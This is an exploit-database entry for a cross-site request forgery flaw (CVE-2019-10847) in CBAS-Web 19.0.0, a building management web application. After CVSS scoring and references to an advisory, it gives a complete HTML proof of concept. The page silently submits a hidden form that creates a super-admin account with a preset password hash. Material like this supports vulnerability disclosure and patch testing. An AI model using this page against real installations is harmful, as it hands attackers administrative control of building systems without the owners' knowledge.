CBAS-Web 19.0.0 Cross-Site Request Forgery (Add Super Admin)

2019.11.16

Credit: LiquidWorm

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-10847

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin)
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10847
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

<!-- CSRF Add Super Admin -->
<html>
  <body>
  <script>history.pushState('', 't00t', 'index.php')</script>
    <form action="http://192.168.1.250/cbas/index.php?m=users&a=user_add_p" method="POST">
      <input type="hidden" name="username_" value="Sooper" />
      <input type="hidden" name="first" value="Mess" />
      <input type="hidden" name="last" value="O'Bradovich" />
      <input type="hidden" name="email" value="aa@bb.cc" />
      <input type="hidden" name="password_" value="" />
      <input type="hidden" name="notes" value="CSRFed" />
      <input type="hidden" name="group_id" value="0" />
      <input type="hidden" name="role" value="super" />
      <input type="hidden" name="md5password" value="179edfe73d9c016b51e9dc77ae0eebb1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

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CBAS-Web 19.0.0 Cross-Site Request Forgery (Add Super Admin)

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